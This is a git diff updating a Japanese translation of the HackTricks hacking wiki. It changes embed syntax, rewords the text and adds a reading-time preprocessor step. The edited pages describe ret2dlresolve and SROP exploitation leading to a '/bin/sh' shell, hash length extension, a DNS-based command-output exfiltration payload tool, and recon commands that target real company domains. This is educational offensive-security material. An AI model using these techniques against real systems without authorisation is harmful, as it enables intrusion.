diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 8a27edc98..eb659688e 100644 --- a/src/README.md +++ b/src/README.md @@ -1,13 +1,10 @@ # HackTricks -Reading time: {{ #reading_time }} -
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_ -> [!TIP] -> **CTF、実際のアプリ、研究、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** +> [!TIP] > **CTF、実際のアプリ、研究の読書、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** 始めるには、このページに従って、**1台以上のマシンをペンテストする際に従うべき典型的なフロー**を見つけてください: @@ -21,7 +18,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを持つ素晴らしいサイバーセキュリティ会社です。彼らは独自の研究を行い、**ペンテスト、レッドチーム、トレーニング**などの価値あるサイバーセキュリティサービスを提供するために独自のハッキングツールを開発しています。 +[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを持つ素晴らしいサイバーセキュリティ会社です。彼らは独自の研究を行い、**いくつかの貴重なサイバーセキュリティサービス**を提供するために独自のハッキングツールを開発しています。これにはペンテスト、レッドチーム、トレーニングが含まれます。 彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。 @@ -33,9 +30,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 +[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォームです!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -60,7 +61,9 @@ generic-methodologies-and-resources/pentesting-methodology.md 今すぐアクセスを取得: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -70,11 +73,11 @@ generic-methodologies-and-resources/pentesting-methodology.md [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! -- **ハッキングの洞察**: ハッキングのスリルと課題に関するコンテンツに参加 -- **リアルタイムハックニュース**: リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握 -- **最新の発表**: 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る +- **ハッキングの洞察:** ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 +- **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握 +- **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手 -**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーと協力を始めましょう! +**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう! --- @@ -86,7 +89,9 @@ generic-methodologies-and-resources/pentesting-methodology.md **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -94,14 +99,14 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**SerpApi**は、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 +**SerpApi**は、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。 -SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\ +SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれます。\ 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ -**無料アカウントを作成**するには[**こちら**](https://serpapi.com/users/sign_up)をクリックしてください。** +詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ +**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign_up)をクリックしてください。** --- @@ -111,7 +116,9 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu 脆弱性研究、ペネトレーションテスト、リバースエンジニアリングを実施するために必要な技術とスキルを学び、モバイルアプリケーションとデバイスを保護します。**iOSとAndroidのセキュリティをマスター**し、オンデマンドコースを通じて**認定を取得**します: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,15 +126,17 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu
-[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護する**ために、**攻撃的セキュリティサービス**を提供しています。 +[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護する**手助けをしています。彼らは**攻撃的セキュリティサービス**を提供し、**現代的な**アプローチを採用しています。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください! -上記に加えて、WebSecは**HackTricksの熱心なサポーター**でもあります。 +上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。** -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## License & Disclaimer diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 94f19d307..3581ef294 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,35 +4,37 @@ ## 基本情報 -[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、関数 **`_dl_runtime_resolve`** を呼び出すことで行われます。 +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、**`_dl_runtime_resolve`** 関数を呼び出すことで行われます。 **`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。 -したがって、動的リンクが要求されたシンボル(例えば **`system`** 関数)を解決し、設定されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すために、これらの構造体をすべて**偽装する**ことが可能です。 +したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽装する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。 -通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期 ROP チェーンを作成することによって偽装され**、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に保存されます。そして、ROP チェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。 +通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーンを作成することによって偽装され**、その後、**構造体**と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。 > [!TIP] -> この技術は、syscall ガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するため)や、libc アドレスを漏洩させる方法がない場合に特に有用です。 +> この技術は、syscallガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。 この技術についての良い説明が動画の後半にあるので、チェックしてください: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} -または、ステップバイステップの説明については、これらのページを確認してください: +また、ステップバイステップの説明については、以下のページを確認してください: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## 攻撃の概要 -1. どこかに偽の構造体を書き込む +1. いくつかの場所に偽の構造体を書き込む 2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`) 3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する 4. **呼び出す** `_dl_runtime_resolve` -5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される +5. **`system`** が解決され、引数として `'/bin/sh'` で呼び出される -[**pwntools ドキュメント**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、**`ret2dlresolve`** 攻撃の見た目は次のようになります: +[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の見た目です: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index b706a6fb0..4e98e542a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -13,7 +13,7 @@ > [!CAUTION] > ROPチェーンから **`sigreturn`** syscall を呼び出し、**スタックにロードしたいレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** し、したがって例えば `execve` syscall を `/bin/sh` で **呼び出す** ことが可能です。 -これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる **Ret2syscallの一種** であることに注意してください: +これは、他のRet2syscallを呼び出すためのパラメータを制御するのをはるかに簡単にする **Ret2syscallの一種** であることに注意してください: {{#ref}} ../rop-syscall-execv/ @@ -57,11 +57,13 @@ ``` より良い説明については、こちらも確認してください: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## 例 -[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されており(rxaに値`0xf`を入れています)、これはそこからの最終的なエクスプロイトです: +[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) で、signeturnへの呼び出しがROPを介して構築されていることが示されています(rxaに値`0xf`を入れています)。ただし、これはそこからの最終的なエクスプロイトです: ```python from pwn import * @@ -130,9 +132,9 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは、再度getsを呼び出すことで`.bss`に`/bin/sh`を書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。 +- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を移動させて以前のシステムコール命令を呼び出し、`memprotect`を実行してバイナリ空間を`rwx`に設定し、バイナリ空間内のESPを設定します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。 +- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出します。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。 diff --git a/src/burp-suite.md b/src/burp-suite.md index f83212f71..fc4a21a29 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -10,7 +10,9 @@ [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : コマンドを実行し、burpcollabへのDNSリクエストを介して出力を取得するためのペイロード。 -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 5a9b52fcd..40cea8b1f 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -4,7 +4,7 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -そのウィキをチェックして、より多くのエソテリック言語を検索してください。 +このウィキをチェックして、より多くのエソテリック言語を検索してください。 ## Malbolge ``` @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 238de8d95..bb7654c79 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,16 +4,16 @@ ## 攻撃の概要 -サーバーが**データ**に**秘密**を**追加**して**署名**し、そのデータをハッシュ化していると想像してください。もしあなたが以下を知っているなら: +サーバーが**データ**に**秘密**を**追加**してからそのデータをハッシュ化して**署名**していると想像してください。もしあなたが以下を知っているなら: -- **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます) +- **秘密の長さ**(これは与えられた長さの範囲からもブルートフォース可能です) - **平文データ** -- **アルゴリズム(そしてそれがこの攻撃に対して脆弱である)** -- **パディングが知られている** +- **アルゴリズム(そしてそれがこの攻撃に対して脆弱であること)** +- **パディングが知られていること** - 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです - パディングは秘密+データの長さによって異なるため、秘密の長さが必要です -その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。 +その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加されたデータ**の有効な**署名**を**生成**することが可能です。 ### どうやって? @@ -29,7 +29,9 @@ ### **ツール** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ### 参考文献 diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index b02f30191..b6ef2ef45 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -2,10 +2,14 @@ もしRC4を使用してプレーンテキストを暗号化できれば、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化できます。 -既知のプレーンテキストを暗号化できる場合、パスワードを抽出することも可能です。詳細な参考情報はHTB Kryptosマシンにあります: +既知のプレーンテキストを暗号化できれば、パスワードを抽出することも可能です。詳細なリファレンスはHTB Kryptosマシンで見つけることができます: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 08437d1f7..3ed98a98f 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -2,32 +2,34 @@ # 攻撃の概要 -サーバーが**データ**に**秘密**を追加して**署名**し、そのデータをハッシュ化していると想像してください。次のことがわかっている場合: +サーバーが**データ**に**秘密**を追加して**署名**し、そのデータをハッシュ化していると想像してください。もしあなたが以下を知っているなら: - **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます) - **平文データ** -- **アルゴリズム(この攻撃に対して脆弱である)** +- **アルゴリズム(そしてそれがこの攻撃に対して脆弱であること)** - **パディングが知られている** - 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです -- パディングは秘密+データの長さによって異なるため、秘密の長さが必要です +- パディングは秘密+データの長さに応じて異なるため、秘密の長さが必要です その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加されたデータ**の有効な**署名**を**生成**することが可能です。 ## どうやって? -基本的に、脆弱なアルゴリズムは、最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。 +基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。 例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ -攻撃者が「append」という文字列を追加したい場合、彼は次のことができます: +攻撃者が「append」という文字列を追加したい場合、彼は以下のことができます: - 64個の「A」のMD5を生成する - 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する - 文字列「append」を追加する -- ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります +- ハッシュを完了させ、その結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります ## **ツール** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## 参考文献 diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index 017a2f5bb..b6ef2ef45 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -RC4を使用してプレーンテキストを暗号化できる場合、そのRC4によって暗号化された任意のコンテンツを(同じパスワードを使用して)暗号化関数を使って復号化できます。 +もしRC4を使用してプレーンテキストを暗号化できれば、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化できます。 -既知のプレーンテキストを暗号化できる場合、パスワードを抽出することもできます。詳細な参考情報はHTB Kryptosマシンで見つけることができます: +既知のプレーンテキストを暗号化できれば、パスワードを抽出することも可能です。詳細なリファレンスはHTB Kryptosマシンで見つけることができます: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 9b54cc3fd..ec212b1af 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,4 +1,4 @@ -# 外部リコンメソドロジー +# 外部リコン手法 {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ > ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に所有しているものを把握したいと思っています。 -このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下を行います: +このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下のことを行います: 1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。 2. 各会社のASN(もしあれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。 @@ -16,17 +16,17 @@ ### **買収** まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\ -一つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ -もう一つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 +1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ +もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 -> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。 +> さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。 ### **ASNs** -自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\ -**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。 +自律システム番号(**ASN**)は、**インターネット番号割り当て機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\ +**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成されることがあります。 -**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ +**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが重要です。\ [**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\ **会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。 ```bash @@ -62,15 +62,15 @@ bbot -t tesla.com -f subdomain-enum ## ドメイン -> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時です。 +> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。 _次に提案する技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_ -まず、各企業の**主要ドメイン**を探すべきです。例えば、_Tesla Inc._の主要ドメインは_tesla.com_になります。 +まず、各企業の**主要なドメイン**を探すべきです。例えば、_Tesla Inc._の主要なドメインは_tesla.com_になります。 ### **逆引きDNS** -ドメインのすべてのIP範囲を見つけたので、それらの**IPに対して逆引きDNSルックアップを実行して、スコープ内のさらに多くのドメインを見つけることができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 +ドメインのすべてのIP範囲を見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 